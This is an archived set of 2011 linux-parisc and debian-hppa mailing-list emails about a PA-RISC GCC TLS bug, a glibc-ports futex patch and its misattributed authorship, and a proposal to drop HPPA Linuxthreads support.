	 Wed, 19 Oct 2011 18:47:43 -0700
X-Originating-IP: [64.229.86.96]
X-Originating-Email: [dave.anglin@bell.net]
Original-Received: from [192.168.2.10] ([64.229.86.96]) by BLU0-SMTP70.phx.gbl over TLS secured channel with Microsoft SMTPSVC(6.0.3790.4675);
	 Wed, 19 Oct 2011 18:47:42 -0700
In-Reply-To: <4E9C6F9E.5000605@bell.net>
X-Mailer: Apple Mail (2.936)
X-OriginalArrivalTime: 20 Oct 2011 01:47:42.0528 (UTC) FILETIME=[41CB4400:01CC8ECA]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3986 gmane.linux.debian.ports.hppa:6722
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3986>

On 17-Oct-11, at 2:10 PM, John David Anglin wrote:

>>
>> The cancellation issues happen in tst-cancel*.
>>
>> I believe the cancellation issues are toolchain issues and I need to
>> look into them.
> Possibly, this is related to the following bug that I found last  
> week building mpfr-3.1.0:
> http://gcc.gnu.org/bugzilla/show_bug.cgi?id=50691
> A call to __tls_get_addr clobbers first argument of call to  
> mpfr_cache.  Don't have a
> fix at the moment, but there is a simple testcase.

I looked at this a bit.  The problem is legitimize_tls_address doesn't  
work properly.
First, GCC doesn't know that the libcall needs r26 and ret0 when the  
__thread variable
is an argument to a call.  Secondly, the implementation of  
__tls_get_addr clobbers
some other call clobbered registers.  I'm thinking the glibc  
implementation might need to
be in assembly language so that the clobbered registers are limited  
(i.e., it needs to
save registers).   This all seems really ugly...

The issues occur in generating PIC code.

Thoughts?

Dave
--
John David Anglin	dave.anglin@bell.net



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa
Subject: Re: [PATCH] parisc: futex: Use same lock set as lws calls
Date: Thu, 20 Oct 2011 11:35:43 -0400
Lines: 14
Approved: news@gmane.org
Message-ID: <CADZpyiwUje+SFG_jhBd=w5ezA6w9onVYQWwE3dvg6bQDH9H+3Q@mail.gmail.com>
References: <20111009204010.GA22374@hiauly1.hia.nrc.ca>
	<20111017152358.GA3518@glitch>
	<CADZpyixDV_OD+YM+u2EMWqY91u_WtGGMM0J3fAofp99q+OWYnA@mail.gmail.com>
	<4E9C6F9E.5000605@bell.net>
	<4E9C9643.6030309@systemhalted.org>
	<4E9C9971.5090806@bell.net>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
X-Trace: dough.gmane.org 1319124954 7771 80.91.229.12 (20 Oct 2011 15:35:54 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 20 Oct 2011 15:35:54 +0000 (UTC)
Cc: debian-hppa@lists.debian.org,
	linux-parisc <linux-parisc@vger.kernel.org>,
	Guy Martin <gmsoft@gentoo.org>
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Oct 20 17:35:47 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1RGuen-0000NP-Cw
	for glpp-linux-parisc@lo.gmane.org; Thu, 20 Oct 2011 17:35:45 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754498Ab1JTPfo (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 20 Oct 2011 11:35:44 -0400
Original-Received: from mail-iy0-f174.google.com ([209.85.210.174]:57091 "EHLO
	mail-iy0-f174.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753507Ab1JTPfo (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 20 Oct 2011 11:35:44 -0400
Original-Received: by iaek3 with SMTP id k3so3541978iae.19
        for <linux-parisc@vger.kernel.org>; Thu, 20 Oct 2011 08:35:44 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:cc:content-type;
        bh=akiGDX4aDPTqpXG+UszqQDFPG1cjsvwMLvDvcTFMriw=;
        b=PUCCRDlOG5KJKDlN5cIqykoz0qBNXpw47auy0TNhrPhoqKhPkrOCWKwTxrSTgwW2uK
         kOtt+KYIAIx3fpBFRbyeJucFX+ur5dY1ibl7UhWWaZJDVwsv9GK6k5S54z/38PGcx6bq
         3RVETX0wBkMJwjh8166MZ6tjzKvM1nq6+1jRI=
Original-Received: by 10.42.142.69 with SMTP id r5mr14175855icu.42.1319124943973; Thu,
 20 Oct 2011 08:35:43 -0700 (PDT)
Original-Received: by 10.42.239.198 with HTTP; Thu, 20 Oct 2011 08:35:43 -0700 (PDT)
In-Reply-To: <4E9C9971.5090806@bell.net>
X-Google-Sender-Auth: LkLtLvu8_vNI6KycMF134xNPcuo
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3987 gmane.linux.debian.ports.hppa:6723
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3987>

On Mon, Oct 17, 2011 at 5:09 PM, John David Anglin <dave.anglin@bell.net> wrote:
>> What patch is this? I don't remember it. URL?
>>
> http://www.cygwin.com/ml/libc-ports/2010-08/msg00001.html

This patch is now checked into glibc-ports.

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matt Turner <mattst88@gmail.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa
Subject: Re: [PATCH] parisc: futex: Use same lock set as lws calls
Date: Thu, 20 Oct 2011 13:57:03 -0400
Lines: 15
Approved: news@gmane.org
Message-ID: <CAEdQ38HicVKub3DAv2CggtMMzgNVKJ4v9PonTbAyRTHQtY_VaA@mail.gmail.com>
References: <20111009204010.GA22374@hiauly1.hia.nrc.ca> <20111017152358.GA3518@glitch>
 <CADZpyixDV_OD+YM+u2EMWqY91u_WtGGMM0J3fAofp99q+OWYnA@mail.gmail.com>
 <4E9C6F9E.5000605@bell.net> <4E9C9643.6030309@systemhalted.org>
 <4E9C9971.5090806@bell.net> <CADZpyiwUje+SFG_jhBd=w5ezA6w9onVYQWwE3dvg6bQDH9H+3Q@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
X-Trace: dough.gmane.org 1319133495 9172 80.91.229.12 (20 Oct 2011 17:58:15 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 20 Oct 2011 17:58:15 +0000 (UTC)
Cc: John David Anglin <dave.anglin@bell.net>,
	debian-hppa@lists.debian.org,
	linux-parisc <linux-parisc@vger.kernel.org>,
	Guy Martin <gmsoft@gentoo.org>
To: "Carlos O'Donell" <carlos@systemhalted.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Oct 20 19:58:07 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1RGwsZ-0002dO-7H
	for glpp-linux-parisc@lo.gmane.org; Thu, 20 Oct 2011 19:58:07 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754100Ab1JTR6G (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 20 Oct 2011 13:58:06 -0400
Original-Received: from mail-vx0-f174.google.com ([209.85.220.174]:63187 "EHLO
	mail-vx0-f174.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754043Ab1JTR6F (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 20 Oct 2011 13:58:05 -0400
Original-Received: by vcge1 with SMTP id e1so2671535vcg.19
        for <linux-parisc@vger.kernel.org>; Thu, 20 Oct 2011 10:58:04 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=mime-version:in-reply-to:references:from:date:message-id:subject:to
         :cc:content-type;
        bh=wwKA50ypgeB1XOPT0dW0zbz7W2S8ZUpoqaJ5DN2HHHw=;
        b=LtnExB5swGvcb8bFqKJwAoc1zhO2rejPbFpalTgtQO351zOGFUb1eHvxmQj4A24VAC
         bVAkFYDrtyEAewcEI+fiF4kxeveEJaVYqAMbalH90iG3DHMsowR2FouxwAIS5vWGLbv1
         vWzJDZ82NTdMa39YD8ipjTdxMWJ937XvbxjfM=
Original-Received: by 10.52.69.9 with SMTP id a9mr12144829vdu.17.1319133443163; Thu, 20
 Oct 2011 10:57:23 -0700 (PDT)
Original-Received: by 10.52.187.38 with HTTP; Thu, 20 Oct 2011 10:57:03 -0700 (PDT)
In-Reply-To: <CADZpyiwUje+SFG_jhBd=w5ezA6w9onVYQWwE3dvg6bQDH9H+3Q@mail.gmail.com>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3988 gmane.linux.debian.ports.hppa:6724
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3988>

On Thu, Oct 20, 2011 at 11:35 AM, Carlos O'Donell
<carlos@systemhalted.org> wrote:
> On Mon, Oct 17, 2011 at 5:09 PM, John David Anglin <dave.anglin@bell.net> wrote:
>>> What patch is this? I don't remember it. URL?
>>>
>> http://www.cygwin.com/ml/libc-ports/2010-08/msg00001.html
>
> This patch is now checked into glibc-ports.

The authorship is wrong, I think. Guy wrote the patch, didn't he?
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa
Subject: Re: [PATCH] parisc: futex: Use same lock set as lws calls
Date: Thu, 20 Oct 2011 14:11:37 -0400
Lines: 23
Approved: news@gmane.org
Message-ID: <4EA06459.2030704@systemhalted.org>
References: <20111009204010.GA22374@hiauly1.hia.nrc.ca> <20111017152358.GA3518@glitch> <CADZpyixDV_OD+YM+u2EMWqY91u_WtGGMM0J3fAofp99q+OWYnA@mail.gmail.com> <4E9C6F9E.5000605@bell.net> <4E9C9643.6030309@systemhalted.org> <4E9C9971.5090806@bell.net> <CADZpyiwUje+SFG_jhBd=w5ezA6w9onVYQWwE3dvg6bQDH9H+3Q@mail.gmail.com> <CAEdQ38HicVKub3DAv2CggtMMzgNVKJ4v9PonTbAyRTHQtY_VaA@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1319134310 15522 80.91.229.12 (20 Oct 2011 18:11:50 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 20 Oct 2011 18:11:50 +0000 (UTC)
Cc: John David Anglin <dave.anglin@bell.net>,
	debian-hppa@lists.debian.org,
	linux-parisc <linux-parisc@vger.kernel.org>,
	Guy Martin <gmsoft@gentoo.org>
To: Matt Turner <mattst88@gmail.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Oct 20 20:11:44 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1RGx5i-0008Eh-NA
	for glpp-linux-parisc@lo.gmane.org; Thu, 20 Oct 2011 20:11:43 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750989Ab1JTSLm (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 20 Oct 2011 14:11:42 -0400
Original-Received: from mail-pz0-f42.google.com ([209.85.210.42]:40622 "EHLO
	mail-pz0-f42.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1750755Ab1JTSLl (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 20 Oct 2011 14:11:41 -0400
Original-Received: by pzk36 with SMTP id 36so7618873pzk.1
        for <linux-parisc@vger.kernel.org>; Thu, 20 Oct 2011 11:11:41 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=sender:message-id:date:from:user-agent:mime-version:to:cc:subject
         :references:in-reply-to:x-enigmail-version:content-type
         :content-transfer-encoding;
        bh=mpqjRmhXsgWA212sCMKcjo3tc5aEsYQqyeaY4t1bbZg=;
        b=ty4cT4I1jZ5OQObh90BfJOESpNEZCFSZ2wXyVMgO48RlJlizXRJgS1UNH7O3hEvGOr
         f0D3eClxVcC0rmc7ZaYYZoINoaf27pCRtX9DqJBYqUTGn7jn8K/yvTh1UyIlKlEiLnfk
         9wgFO7N07qZyCEqWNtVsDuz334stRf5KfGD9M=
Original-Received: by 10.68.30.36 with SMTP id p4mr15485394pbh.39.1319134301245;
        Thu, 20 Oct 2011 11:11:41 -0700 (PDT)
Original-Received: from [192.168.2.18] (bas3-ottawa23-1177594034.dsl.bell.ca. [70.48.168.178])
        by mx.google.com with ESMTPS id x7sm21035265pbf.5.2011.10.20.11.11.38
        (version=SSLv3 cipher=OTHER);
        Thu, 20 Oct 2011 11:11:39 -0700 (PDT)
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:7.0.1) Gecko/20110929 Thunderbird/7.0.1
In-Reply-To: <CAEdQ38HicVKub3DAv2CggtMMzgNVKJ4v9PonTbAyRTHQtY_VaA@mail.gmail.com>
X-Enigmail-Version: 1.3.2
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3989 gmane.linux.debian.ports.hppa:6725
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3989>

On 10/20/2011 1:57 PM, Matt Turner wrote:
> On Thu, Oct 20, 2011 at 11:35 AM, Carlos O'Donell
> <carlos@systemhalted.org> wrote:
>> On Mon, Oct 17, 2011 at 5:09 PM, John David Anglin <dave.anglin@bell.net> wrote:
>>>> What patch is this? I don't remember it. URL?
>>>>
>>> http://www.cygwin.com/ml/libc-ports/2010-08/msg00001.html
>>
>> This patch is now checked into glibc-ports.
> 
> The authorship is wrong, I think. Guy wrote the patch, didn't he?

Correct, I forgot to use --author, but Guy is credited in the ChangeLog.

Can I change this retroactively or is it too late?

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matt Turner <mattst88@gmail.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa
Subject: Re: [PATCH] parisc: futex: Use same lock set as lws calls
Date: Thu, 20 Oct 2011 14:16:47 -0400
Lines: 36
Approved: news@gmane.org
Message-ID: <CAEdQ38E+4qpL+wPjWPJEQVTXGiMP4ei5vjGxfZtTJZieNUb2hg@mail.gmail.com>
References: <20111009204010.GA22374@hiauly1.hia.nrc.ca> <20111017152358.GA3518@glitch>
 <CADZpyixDV_OD+YM+u2EMWqY91u_WtGGMM0J3fAofp99q+OWYnA@mail.gmail.com>
 <4E9C6F9E.5000605@bell.net> <4E9C9643.6030309@systemhalted.org>
 <4E9C9971.5090806@bell.net> <CADZpyiwUje+SFG_jhBd=w5ezA6w9onVYQWwE3dvg6bQDH9H+3Q@mail.gmail.com>
 <CAEdQ38HicVKub3DAv2CggtMMzgNVKJ4v9PonTbAyRTHQtY_VaA@mail.gmail.com> <4EA06459.2030704@systemhalted.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
X-Trace: dough.gmane.org 1319134694 18420 80.91.229.12 (20 Oct 2011 18:18:14 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 20 Oct 2011 18:18:14 +0000 (UTC)
Cc: John David Anglin <dave.anglin@bell.net>,
	debian-hppa@lists.debian.org,
	linux-parisc <linux-parisc@vger.kernel.org>,
	Guy Martin <gmsoft@gentoo.org>
To: "Carlos O'Donell" <carlos@systemhalted.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Oct 20 20:18:09 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1RGxBw-0003ot-Ig
	for glpp-linux-parisc@lo.gmane.org; Thu, 20 Oct 2011 20:18:08 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751042Ab1JTSSI (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 20 Oct 2011 14:18:08 -0400
Original-Received: from mail-vx0-f174.google.com ([209.85.220.174]:60085 "EHLO
	mail-vx0-f174.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1750989Ab1JTSSH (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 20 Oct 2011 14:18:07 -0400
Original-Received: by vcge1 with SMTP id e1so2688797vcg.19
        for <linux-parisc@vger.kernel.org>; Thu, 20 Oct 2011 11:18:05 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=mime-version:in-reply-to:references:from:date:message-id:subject:to
         :cc:content-type;
        bh=VoCt5UL04PR2pHtQWm5tSy1ENJHFH+aPxRL7/LsgSE8=;
        b=ZURoQo5YFLUoVYZGD4gmNBxU29uvmP4jQc+h5dYT1aAfDCRlhPPG5Gwb3Eep2s6qTV
         TpTojip1J7XnsCJ8J/86DX5sni44tLMAzpV0Cx5EZA26nrwSpmfWx51oX2VA9uMQj73x
         fEkOzNPdNMqSPBgNg5x0SWljnWt5ppCa8clAQ=
Original-Received: by 10.52.74.69 with SMTP id r5mr2433386vdv.51.1319134685238; Thu, 20
 Oct 2011 11:18:05 -0700 (PDT)
Original-Received: by 10.52.187.38 with HTTP; Thu, 20 Oct 2011 11:16:47 -0700 (PDT)
In-Reply-To: <4EA06459.2030704@systemhalted.org>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3990 gmane.linux.debian.ports.hppa:6726
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3990>

On Thu, Oct 20, 2011 at 2:11 PM, Carlos O'Donell
<carlos@systemhalted.org> wrote:
> On 10/20/2011 1:57 PM, Matt Turner wrote:
>> On Thu, Oct 20, 2011 at 11:35 AM, Carlos O'Donell
>> <carlos@systemhalted.org> wrote:
>>> On Mon, Oct 17, 2011 at 5:09 PM, John David Anglin <dave.anglin@bell.net> wrote:
>>>>> What patch is this? I don't remember it. URL?
>>>>>
>>>> http://www.cygwin.com/ml/libc-ports/2010-08/msg00001.html
>>>
>>> This patch is now checked into glibc-ports.
>>
>> The authorship is wrong, I think. Guy wrote the patch, didn't he?
>
> Correct, I forgot to use --author, but Guy is credited in the ChangeLog.
>
> Can I change this retroactively or is it too late?
>
> Cheers,
> Carlos.

Once it's pushed to a public git repo it's too late.

This also happened last year,
http://www.cygwin.com/ml/libc-ports/2010-02/msg00014.html

Most people use `git am` which fills in the author field directly.
Otherwise, use git commit --author=... or after the patch it committed
but before it's pushed publicly, git commit --amend --author=...

Matt
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:38 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa,gmane.linux.gentoo.hppa
Subject: Removing HPPA Linuxthreads support in glibc-ports.
Date: Thu, 20 Oct 2011 14:55:46 -0400
Lines: 13
Approved: news@gmane.org
Message-ID: <CADZpyiwAqDmsb4TLCwo0KGBm9c_Y1P9iLir8gXJBOJPOTiRr4g@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
X-Trace: dough.gmane.org 1319136960 3109 80.91.229.12 (20 Oct 2011 18:56:00 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 20 Oct 2011 18:56:00 +0000 (UTC)
To: linux-parisc <linux-parisc@vger.kernel.org>,
	Debian HPPA Port List <debian-hppa@lists.debian.org>,
	Gentoo HPPA <gentoo-hppa@lists.gentoo.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Oct 20 20:55:54 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1RGxmO-0005Jw-Bg
	for glpp-linux-parisc@lo.gmane.org; Thu, 20 Oct 2011 20:55:48 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751442Ab1JTSzr (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 20 Oct 2011 14:55:47 -0400
Original-Received: from mail-gx0-f174.google.com ([209.85.161.174]:62278 "EHLO
	mail-gx0-f174.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751127Ab1JTSzr (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 20 Oct 2011 14:55:47 -0400
Original-Received: by ggnb1 with SMTP id b1so3106635ggn.19
        for <linux-parisc@vger.kernel.org>; Thu, 20 Oct 2011 11:55:46 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=mime-version:sender:date:x-google-sender-auth:message-id:subject
         :from:to:content-type;
        bh=pCDpeY+KVEBhfwmGQ8TQABgpaIx0XAoo1sBWdeWxfAk=;
        b=pVQTUDPxV/QQuZZ7InY7NwpZOeBYKvpRBp2xZb8Vtp39qbXVxRrdxO7Ad9unsCYsHV
         6oZFXdJb17xrwYd7Mz7wmgcfLoknejvmmznzGo3pBAoUtvgeWzygZqcgjgAofqR3oB+D
         pbsW0JYTDwV4PfSdMgfzX4iODUTW6p2QPvxYQ=
Original-Received: by 10.42.154.7 with SMTP id o7mr20269801icw.48.1319136946269; Thu,
 20 Oct 2011 11:55:46 -0700 (PDT)
Original-Received: by 10.42.239.198 with HTTP; Thu, 20 Oct 2011 11:55:46 -0700 (PDT)
X-Google-Sender-Auth: HewlZm2zaNPI7pY3IJjSGvrJMJo
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3991 gmane.linux.debian.ports.hppa:6727 gmane.linux.gentoo.hppa:66
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3991>

I plan to remove all HPPA Linuxthreads support from glibc-ports.

The support is well past bit-rotten.

Is anyone opposed to this?

Cheers,
Carlos O'Donell.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mike Frysinger <vapier@gentoo.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa,gmane.linux.gentoo.hppa
Subject: Re: Removing HPPA Linuxthreads support in glibc-ports.
Date: Thu, 20 Oct 2011 16:31:50 -0400
Organization: wh0rd.org
Lines: 45
Approved: news@gmane.org
Message-ID: <201110201631.52046.vapier@gentoo.org>
References: <CADZpyiwAqDmsb4TLCwo0KGBm9c_Y1P9iLir8gXJBOJPOTiRr4g@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed;
  boundary="nextPart1607603.J82LT7Zjv1";
  protocol="application/pgp-signature";
  micalg=pgp-sha1
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1319142716 12937 80.91.229.12 (20 Oct 2011 20:31:56 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 20 Oct 2011 20:31:56 +0000 (UTC)
Cc: "linux-parisc" <linux-parisc@vger.kernel.org>,
	Debian HPPA Port List <debian-hppa@lists.debian.org>,
	Gentoo HPPA <gentoo-hppa@lists.gentoo.org>
To: "Carlos O'Donell" <carlos@systemhalted.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Oct 20 22:31:52 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1RGzHM-00078H-Ap
	for glpp-linux-parisc@lo.gmane.org; Thu, 20 Oct 2011 22:31:52 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751939Ab1JTUbv (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 20 Oct 2011 16:31:51 -0400
Original-Received: from smtp.gentoo.org ([140.211.166.183]:44813 "EHLO smtp.gentoo.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751297Ab1JTUbv (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 20 Oct 2011 16:31:51 -0400
Original-Received: from vapier.localnet (localhost [127.0.0.1])
	by smtp.gentoo.org (Postfix) with ESMTP id 34E371B4009;
	Thu, 20 Oct 2011 20:31:51 +0000 (UTC)
User-Agent: KMail/1.13.7 (Linux/3.1.0-rc4; KDE/4.6.5; x86_64; ; )
In-Reply-To: <CADZpyiwAqDmsb4TLCwo0KGBm9c_Y1P9iLir8gXJBOJPOTiRr4g@mail.gmail.com>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3992 gmane.linux.debian.ports.hppa:6728 gmane.linux.gentoo.hppa:67
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3992>

--nextPart1607603.J82LT7Zjv1
Content-Type: Text/Plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

On Thursday 20 October 2011 14:55:46 Carlos O'Donell wrote:
> I plan to remove all HPPA Linuxthreads support from glibc-ports.
>=20
> The support is well past bit-rotten.
>=20
> Is anyone opposed to this?

guess we don't have much choice since it's been purged from the core.  but=
=20
nptl support isn't mainlined yet right ? :/
=2Dmike

--nextPart1607603.J82LT7Zjv1
Content-Type: application/pgp-signature; name=signature.asc 
Content-Description: This is a digitally signed message part.

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v2.0.17 (GNU/Linux)

iQIcBAABAgAGBQJOoIU3AAoJEEFjO5/oN/WBLZAP/3VyF+++DFyUu2dU7PVCFxKP
ibDUf409YUFh5AEegKHkF34EKdqyBKF2YRPWK4AvCECXSJoFqLmVLh0DvnVbZCZT
